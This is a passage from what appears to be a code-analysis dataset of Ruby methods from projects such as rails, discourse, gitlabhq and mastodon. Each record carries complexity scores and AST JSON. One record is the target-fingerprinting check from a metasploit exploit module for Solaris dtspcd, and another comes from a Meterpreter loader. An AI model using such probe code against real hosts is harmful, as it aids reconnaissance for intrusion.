e\":\"lvar\",\"children\":[\"filter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"doc\"]},{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"bb2c5f20-aedf-43b9-b82a-31d64091f467"} {"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server_ssl.rb","start_line":216,"raw_source":"def test_invalid_cert\n assert_raises(Puma::MiniSSL::SSLError) do\n start_server { |ctx| ctx.cert = __FILE__ }\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_cert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"SSLError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_server\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"cert=\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]}]}","id":"9b3f8826-73b6-44aa-bc9c-1012e13e9c1e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/index_extensions.rb","start_line":5,"raw_source":"def index_preset(base_options = {})\n case ENV['ES_PRESET'].presence\n when 'single_node_cluster', nil\n base_options.merge(number_of_replicas: 0)\n when 'small_cluster'\n base_options.merge(number_of_replicas: 1)\n when 'large_cluster'\n base_options.merge(number_of_replicas: 1, number_of_shards: (base_options[:number_of_shards] || 1) * 2)\n end\n end","complexity_score":17.33,"ast_json":"{\"type\":\"def\",\"children\":[\"index_preset\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"base_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ES_PRESET\"]}]},\"presence\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"single_node_cluster\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"small_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"large_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_shards\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_shards\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},null]}]}","id":"a2f93682-65ad-447b-a979-9c254f96f461"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":35,"raw_source":"def about\n object.metadata.about\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"about\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"metadata\"]},\"about\"]}]}","id":"d6a8771f-44a4-4d14-b845-30f1aeb79bc7"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20250929105219_create_companies.rb","start_line":2,"raw_source":"def change\n create_table :companies do |t|\n t.string :name, null: false\n t.string :domain\n t.text :description\n t.references :account, null: false\n\n t.timestamps\n end\n add_index :companies, [:name, :account_id]\n add_index :companies, [:domain, :account_id]\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"companies\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"companies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"companies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]}]}]}","id":"b01c03d2-b0cb-44d4-9c20-7a880f7aa94f"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/random_with_offset.rb","start_line":63,"raw_source":"def on_send(node)\n return unless node.receiver\n return unless integer_op_rand?(node) || rand_op_integer?(node) || rand_modified?(node)\n\n add_offense(node) { |corrector| autocorrect(corrector, node) }\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integer_op_rand?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"rand_op_integer?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rand_modified?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"6e1c3047-58d0-4df1-b7a8-144a5c38e9e3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/import_export/relation_import_worker.rb","start_line":84,"raw_source":"def process_import\n tree_restorer = Gitlab::ImportExport::Project::RelationTreeRestorer.new(\n user: current_user,\n shared: project.import_export_shared,\n relation_reader: relation_reader,\n object_builder: Gitlab::ImportExport::Project::ObjectBuilder,\n members_mapper: members_mapper,\n relation_factory: Gitlab::ImportExport::Project::RelationFactory,\n reader: Gitlab::ImportExport::Reader.new(shared: project.import_export_shared),\n importable: project,\n importable_attributes: {},\n importable_path: 'project',\n skip_on_duplicate_iid: true\n )\n\n tree_restorer.restore_single_relation(tracker.relation, extra_track_scope: { tracker_id: tracker.id })\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tree_restorer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"RelationTreeRestorer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_shared\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_reader\"]},{\"type\":\"send\",\"children\":[null,\"relation_reader\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_builder\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"ObjectBuilder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members_mapper\"]},{\"type\":\"send\",\"children\":[null,\"members_mapper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_factory\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"RelationFactory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Reader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_shared\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_attributes\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_path\"]},{\"type\":\"str\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_on_duplicate_iid\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree_restorer\"]},\"restore_single_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"relation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_track_scope\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tracker_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"id\"]}]}]}]}]}]}]}]}","id":"70f9242e-bb00-4c8d-875b-fc1fd7c4c260"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/bofloader/bofloader.rb","start_line":89,"raw_source":"def reset\n @buffer = ''\n @size = 0\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"4e0b4b42-37d6-40e4-a2d3-ad0eaf28addc"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/regular/create_ai_reply.rb","start_line":7,"raw_source":"def execute(args)\n return unless bot_user = User.find_by(id: args[:bot_user_id])\n return unless post = Post.includes(:topic).find_by(id: args[:post_id])\n persona_id = args[:persona_id]\n\n begin\n persona = DiscourseAi::Personas::Persona.find_by(user: post.user, id: persona_id)\n raise DiscourseAi::Personas::Bot::BOT_NOT_FOUND if persona.nil?\n\n bot = DiscourseAi::Personas::Bot.as(bot_user, persona: persona.new)\n\n DiscourseAi::AiBot::Playground.new(bot).reply_to(post, feature_name: \"bot\")\n rescue DiscourseAi::Personas::Bot::BOT_NOT_FOUND\n Rails.logger.warn(\n \"Bot not found for post #{post.id} - perhaps persona was deleted or bot was disabled\",\n )\n end\n end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bot_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_user_id\"]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"topic\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"persona_id\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persona\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Persona\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"persona_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"BOT_NOT_FOUND\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"as\",{\"type\":\"lvar\",\"children\":[\"bot_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiBot\"]},\"Playground\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bot\"]}]},\"reply_to\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"str\",\"children\":[\"bot\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"BOT_NOT_FOUND\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bot not found for post \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" - perhaps persona was deleted or bot was disabled\"]}]}]}]},null]}]}]}]}","id":"7853db7f-8c14-4613-aad4-04b517546ada"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250124130906_create_duo_workflow_checkpoint_write_project_fkey.rb","start_line":14,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :duo_workflows_checkpoint_writes, column: :project_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"duo_workflows_checkpoint_writes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"6d1a284e-85c5-40ad-9c3a-d43c82891157"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":33,"raw_source":"def test_reload_expires_cache_of_found_items\n all_posts = Topic.base\n all_posts.to_a\n\n new_post = Topic.create!\n assert_not_includes all_posts, new_post\n assert_includes all_posts.reload, new_post\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reload_expires_cache_of_found_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"to_a\"]},{\"type\":\"lvasgn\",\"children\":[\"new_post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"all_posts\"]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"reload\"]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]}]}]}","id":"21c11057-d09b-4f57-8d29-712be75b9952"} {"repo_name":"puma","file_path":"./repos/puma/test/helpers/tmp_path.rb","start_line":39,"raw_source":"def delete_tmp_path(path)\n File.unlink(path)\n rescue Errno::ENOENT\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_tmp_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,null]},null]}]}","id":"bc485a80-95fb-4cb4-825a-809960c9e724"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/dtspcd/heap_noir.rb","start_line":92,"raw_source":"def check\n spc_connect\n spc_write(spc_register('root', \"\\x00\"), 4)\n host, os, ver, arch = spc_read.gsub(\"\\x00\", '').split(':')\n\n return CheckCode::Safe unless host\n\n spc_write('', 2)\n\n return CheckCode::Safe(\"Detected dtspcd running #{os} v#{ver} on #{arch} hardware. Target host architecture #{arch} is not sparc.\") unless arch =~ /sparc/i\n\n CheckCode::Detected(\"Detected dtspcd running #{os} v#{ver} on #{arch} hardware.\")\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spc_connect\"]},{\"type\":\"send\",\"children\":[null,\"spc_write\",{\"type\":\"send\",\"children\":[null,\"spc_register\",{\"type\":\"str\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"lvasgn\",\"children\":[\"os\"]},{\"type\":\"lvasgn\",\"children\":[\"ver\"]},{\"type\":\"lvasgn\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spc_read\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"spc_write\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sparc\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected dtspcd running \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" hardware. Target host architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is not sparc.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected dtspcd running \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" hardware.\"]}]}]}]}]}","id":"2d41bcda-4a9d-4b22-93fb-e25d676fa531"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1981,"raw_source":"def create_user_option\n UserOption.create!(user_id: id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserOption\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"e8d380d4-4183-4c77-bd84-c15e9e934feb"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/ssl.rb","start_line":107,"raw_source":"def normalize_hsts_options(options)\n case options\n # Explicitly disabling HSTS clears the existing setting from browsers by setting\n # expiry to 0.\n when false\n self.class.default_hsts_options.merge(expires: 0)\n # Default to enabled, with default options.\n when nil, true\n self.class.default_hsts_options\n else\n self.class.default_hsts_options.merge(options)\n end\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_hsts_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"ef3b102c-a0d6-4094-831f-8b4c6e5396ab"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/message_templates/hook_execution_service.rb","start_line":39,"raw_source":"def should_send_greeting?\n # should not send if its a tweet message\n return false if conversation.tweet?\n\n first_message_from_contact? && inbox.greeting_enabled? && inbox.greeting_message.present?\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_send_greeting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"tweet?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_message_from_contact?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"greeting_enabled?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"greeting_message\"]},\"present?\"]}]}]}]}","id":"a715b208-f35f-4b9b-ac3b-2ea598620071"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/messages.rb","start_line":49,"raw_source":"def msg_version version, lib = \"Rails\"\n Version.new version, lib\n 